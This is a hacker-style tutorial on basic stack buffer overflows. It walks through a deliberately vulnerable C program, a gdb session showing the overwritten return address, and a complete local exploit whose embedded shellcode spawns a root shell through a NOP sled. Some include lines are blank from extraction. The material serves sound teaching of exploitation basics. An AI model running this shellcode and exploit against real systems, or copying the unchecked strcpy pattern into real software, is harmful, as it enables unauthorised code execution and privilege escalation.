--||[ A Tutorial on Basic Buffer Overflows ]||-- --||[ written by chmod_ ]||-- 0x0000001 --||[ What is a buffer overflow ? ]||-- When we are programming we are using buffers to hold different data, for example user input to a program. The problem occure when a data is passed over to a buffer without performing a boundary check of the number of data bytes. So the buffer overflow is basicly when more bytes is written to a buffer than we are allowed to. This problem often occure when using functions as strcpy() or sprintf() when the lazy programmer should be using strncpy() or snprintf() to check the number of bytes passed to the buffer. To understand how this errors threats the digital industry and how to exploit them we are gonna first take a look at a simple code snippet with a buffer overflow vulnerability and then we take a deeper look with a real-time example. 0x000002 --||[ The simple, little example ]||-- Let's say you wanted to make a program which took one argument, copy'ed that argument to a buffer, then printed this buffer to the screen. Following code could be used: vuln.c ----------------------------------------------------------------------- #include #include int main(int argc, char *argv[]) { char buffer[10]; strcpy(buffer, argv[1]); printf("\n%s\n", buffer); } ----------------------------------------------------------------------- vuln.c "Simple program", you think. Let's dig deeper! We initialize a character array with 10 bytes. Then we copy the contents og argv[1] to buffer, and then print 'buffer' to the screen. But wait! What happends if the user input is more than 10 bytes? The strcpy() function will fill 'buffer' until it reaches a '0' charater. Now we must take a look how the stack operates with this program. I just explain the very basics of the stack here. Look at 'Smashing The Stack For Fun And Profit' by Aleph1 for more info. The stack is used to allocate variables and and return adresses from functions. Our stack will look something like this: --------------------------------------------- --------------------------------------------- If we now execute the program: bash-2.05a$ ./vuln AAAAAAAAAA AAAAAAAAAA bash-2.05a$ It works fine, but what if we try with 30 A's as argument 1? Let's find out: bash-2.05a$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault bash-2.05a$ Now we get a segmentation fault. Why you ask yourself. The answer is simple, since we filled 20 more A's than we were allowed, the sfp and the return address got overwritten. A has value 41 in hexadecimal. If we take a look with gdb and see what kind of information we can get from there: bash-2.05a$ gdb vuln GNU gdb 5.2 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/chmod_/C/projects/buffer_overflow/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info stack #0 0x41414141 in ?? () Cannot access memory at address 0x41414141 (gdb) Now we have overwritten the return value with the value of A. That means we can change the return address to whatever we like. What if we have a shellcode located at a certain address. Then we could just fill the buffer with the address of our shellcode, and hopefully it would execute our malicious code, normally spawn a shell. An exploit for this will look something this: exploit.c -------------------------------------------------------------------------- #include #include #include #define BUFFSIZE 200 char shellcode[] = "\x31\xc0\xb0\x17\x31\xdb\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { unsigned long sp; __asm__("movl %%esp, %0" : "=r" (sp)); return sp; } void usage(char *cmd) { fprintf(stderr, "\nUsage: %s \n\n", cmd); exit(-1); } int main(int argc, char *argv[]) { int i; int offset; long esp; long ret; long * addr_ptr; char * buff; char * ptr; if(argc < 2) usage(argv[0]); if ( (offset = atoi(argv[1])) > 1024 || (offset = atoi(argv[1])) < 0) { fprintf(stderr, "Use only offset between 0 and 1024\n"); exit(1); } esp = get_sp(); /* get stack point, leet asm */ ret = esp - offset; /* get_sp - offset = return addy */ printf("[+] Offset: 0x%x\n", offset); printf("[+] Stack Pointer: 0x%x\n", (unsigned int) esp); printf("[+] Return Address: 0x%x\n", (unsigned int) ret); if(!(buff = malloc(BUFFSIZE))) { printf("Couldn't allocate memory.\n"); exit(-1); } ptr = buff; addr_ptr = (long *)ptr; for(i = 0; i < BUFFSIZE; i += 4) *(addr_ptr++) = ret; for(i = 0; i < BUFFSIZE/2; i++) buff[i] = '\x90'; ptr = buff + ((BUFFSIZE/2) - (strlen(shellcode)/2)); for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[BUFFSIZE-1] = 0; execl("./vuln", "vuln", buff, 0); return(0); } -------------------------------------------------------------------------- exploit.c 0x00000003 --||[ References ]||-- Smashing the stack for fun and profit by Aleph1 http://www.insecure.org/stf/smashstack.txt Phrack - Hacker magazine http://www.phrack.org Linux Security http://www.linuxsecurity.com